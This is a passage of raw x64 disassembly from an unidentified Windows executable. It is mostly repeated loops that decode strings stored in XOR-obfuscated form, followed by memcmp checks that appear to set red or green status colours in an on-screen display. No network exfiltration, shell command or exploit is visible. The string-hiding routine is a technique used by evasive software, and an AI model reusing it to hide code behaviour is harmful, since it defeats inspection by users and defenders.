paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400801f0
cmp r8d, 0x29
jge 0x140080324
movsxd rax, r8d
lea r9, [rbp + 0xaf0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400802f0
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0xcd0]
call fcn.1400632c0
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xcf0]
call fcn.140078320
mov rdx, rax
mov rcx, rdi
call fcn.140065ea0
lea rcx, [rbp + 0xcf0]
call fcn.140064d50
lea rax, [rbp + 0xd10]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [0x140144c88]
movups xmmword [rbp + 0x5b8], xmm7
movsd xmm0, qword [0x140144c98]
movsd qword [rbp + 0x5c8], xmm0
movzx eax, word [0x140144ca0]
mov word [rbp + 0x5d0], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140080499
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [str.44444444]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x5b8], xmm3
movdqa xmm2, xmmword [0x140147580]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5c0]
xorps xmm3, xmm0
movq qword [rbp + 0x5c0], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5b8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400804b0
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0xd10]
call fcn.1400632c0
mov r14, rax
movups xmm0, xmmword [0x140144c40]
movups xmmword [rbp + 0xa40], xmm0
movups xmm1, xmmword [0x140144c50]
movups xmmword [rbp + 0xa50], xmm1
movups xmm0, xmmword [0x140144c60]
movups xmmword [rbp + 0xa60], xmm0
movups xmm1, xmmword [0x140144c70]
movups xmmword [rbp + 0xa70], xmm1
movsd xmm0, qword [str.:_WgPDYUtNQ__M_]
movsd qword [rbp + 0xa80], xmm0
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14008066f
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm7, xmmword [str.44444444]
lea rcx, [rbp + 0xa40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140080580
cmp r8d, 0x24
jge 0x1400806b4
movsxd rax, r8d
lea r9, [rbp + 0xa40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x24
jl 0x140080680
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0xd30]
call fcn.1400632c0
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xd50]
call fcn.140078320
mov rdx, rax
mov rcx, r15
call fcn.140065ea0
lea rcx, [rbp + 0xd50]
call fcn.140064d50
lea rax, [rbp + 0xbb0]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [str.gPDYUtNQ__M_]
movups xmmword [rbp + 0x5d8], xmm7
movsd xmm0, qword [0x140144d18]
movsd qword [rbp + 0x5e8], xmm0
movzx eax, word [0x140144d20]
mov word [rbp + 0x5f0], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140080829
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [str.44444444]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x5d8], xmm3
movdqa xmm2, xmmword [0x140147580]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5e0]
xorps xmm3, xmm0
movq qword [rbp + 0x5e0], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5d8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140080840
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0xbb0]
call fcn.1400632c0
mov r14, rax
movups xmm0, xmmword [0x140144cb0]
movups xmmword [rbp + 0xa90], xmm0
movups xmm1, xmmword [0x140144cc0]
movups xmmword [rbp + 0xaa0], xmm1
movups xmm0, xmmword [0x140144cd0]
movups xmmword [rbp + 0xab0], xmm0
movups xmm1, xmmword [0x140144ce0]
movups xmmword [rbp + 0xac0], xmm1
movups xmm0, xmmword [str.53578___]
movups xmmword [rbp + 0xad0], xmm0
movzx eax, word [0x140144d00]
mov word [rbp + 0xae0], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140080a0f
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm7, xmmword [str.44444444]
lea rcx, [rbp + 0xa90]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140080920
cmp r8d, 0x29
jge 0x140080a54
movsxd rax, r8d
lea r9, [rbp + 0xa90]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x140080a20
lea rdx, [rbp + 0xa90]
lea rcx, [rbp + 0xbd0]
call fcn.1400632c0
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xbf0]
call fcn.140078320
mov rdx, rax
lea rcx, [0x1401752a8]
call fcn.140065ea0
lea rcx, [rbp + 0xbf0]
call fcn.140064d50
lea rax, [rbp + 0xc10]
mov qword [rsp + 0x50], rax
movsd xmm0, qword [0x140144d88]
movsd qword [rbp + 0x90], xmm0
movzx eax, word [0x140144d90]
mov ecx, 0x55
mov word [rbp + 0x90], cx
xor word [rbp + 0x92], 0x35
xor word [rbp + 0x94], 0x36
xor word [rbp + 0x96], 0x37
xor ax, 0x38
mov word [rbp + 0x98], ax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xc10]
call fcn.1400632c0
mov r14, rax
movups xmm0, xmmword [str.gpzrm]
movups xmmword [rbp + 0xb50], xmm0
movups xmm1, xmmword [0x140144d40]
movups xmmword [rbp + 0xb60], xmm1
movups xmm0, xmmword [0x140144d50]
movups xmmword [rbp + 0xb70], xmm0
movups xmm1, xmmword [0x140144d60]
movups xmmword [rbp + 0xb80], xmm1
movups xmm0, xmmword [0x140144d70]
movups xmmword [rbp + 0xb90], xmm0
mov eax, dword [0x140144d80]
mov dword [rbp + 0xba0], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140080c7f
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm7, xmmword [str.44444444]
lea rcx, [rbp + 0xb50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140080b90
cmp r8d, 0x2a
jge 0x140080cc4
movsxd rax, r8d
lea r9, [rbp + 0xb50]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x140080c90
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xc30]
call fcn.1400632c0
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xc50]
call fcn.140078320
mov rdx, rax
lea rcx, [0x1401752c8]
call fcn.140065ea0
lea rcx, [rbp + 0xc50]
call fcn.140064d50
mov byte [0x1401796b7], 1
lea r14, [0x1401752a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe48], xmm0
movdqa xmm1, xmmword [0x140147570]
movdqu xmmword [rbp + 0xe58], xmm1
mov byte [rbp + 0xe48], 0
movups xmmword [rbp + 0xe08], xmm0
movdqu xmmword [rbp + 0xe18], xmm1
mov byte [rbp + 0xe08], 0
movups xmmword [rbp + 0xde8], xmm0
movdqu xmmword [rbp + 0xdf8], xmm1
mov byte [rbp + 0xde8], 0
movups xmmword [rbp + 0xe28], xmm0
movdqu xmmword [rbp + 0xe38], xmm1
mov byte [rbp + 0xe28], 0
mov dword [rbp + 0x398], 0x42480000
mov dword [rbp + 0x39c], 0x42dc0000
lea rcx, [rbp + 0x398]
call fcn.140025c30
mov rcx, qword [rbp + 0x80]
call fcn.140025a30
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140175268]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rsi, qword [0x1401751e8]
mov r8, qword [0x1401751f8]
cmp r8, qword [0x140175278]
jne 0x140080fcc
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140080fcc
mov qword [rbx + 0xd4], 0x3f800000
xor ecx, ecx
mov dword [rbx + 0xdc], ecx
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140144da8]
movups xmmword [rbp + 0xc0], xmm0
movzx eax, word [0x140144db8]
mov word [rbp + 0xd0], ax
cmp byte [0x140144db9], cl
je 0x140080fc0
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140080f75
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140080e70
cmp r8d, 0x12
jge 0x140080fc0
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140080f90
lea rdx, [rbp + 0xc0]
jmp 0x140081187
xor ecx, ecx
mov dword [rbx + 0xd4], ecx
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x140144d98]
movsd qword [rbp + 0xc0], xmm0
mov eax, dword [0x140144da0]
mov dword [rbp + 0xc8], eax
movzx eax, word [0x140144da4]
mov word [rbp + 0xcc], ax
cmp byte [0x140144da5], cl
je 0x140081180
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140081137
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144d98]
xorps xmm2, xmm0
movd dword [rbp + 0xc0], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc4]
xorps xmm2, xmm1
movd dword [rbp + 0xc4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140081150
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xe48]
call fcn.140065f30
lea rcx, [rbp + 0xe48]
cmp qword [rbp + 0xe60], 0xf
cmova rcx, qword [rbp + 0xe48]
call fcn.14004f2d0
mov dword [rbp + 0x3a0], 0x42480000
mov dword [rbp + 0x3a4], 0x43020000
lea rcx, [rbp + 0x3a0]
call fcn.140025c30
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x140175268]
mov rcx, rdi
call fcn.14004f2d0
mov dword [rbp + 0x3a8], 0x42480000
mov dword [rbp + 0x3ac], 0x43200000
lea rcx, [rbp + 0x3a8]
call fcn.140025c30
mov rcx, qword [rbp + 0x80]
call fcn.140025a30
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140175288]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r12, qword [0x140175208]
mov r8, qword [0x140175218]
cmp r8, qword [0x140175298]
jne 0x14008146c
mov rcx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14008146c
mov qword [rbx + 0xd4], 0x3f800000
xor r12d, r12d
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.vyd]
movups xmmword [rbp + 0xa0], xmm0
movzx eax, word [0x140144de0]
mov word [rbp + 0xb0], ax
movzx eax, byte [0x140144de2]
mov byte [rbp + 0xb2], al
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140081419
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140081310
cmp r8d, 0x13
jge 0x140081460
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140081430
lea rdx, [rbp + 0xa0]
jmp 0x140081627
xor r12d, r12d
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x140144dc0]
movsd qword [rbp + 0xa0], xmm0
mov eax, dword [0x140144dc8]
mov dword [rbp + 0xa8], eax
movzx eax, word [0x140144dcc]
mov word [rbp + 0xac], ax
movzx eax, byte [0x140144dce]
mov byte [rbp + 0xae], al
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1400815dc
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144dc0]
xorps xmm2, xmm0
movd dword [rbp + 0xa0], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
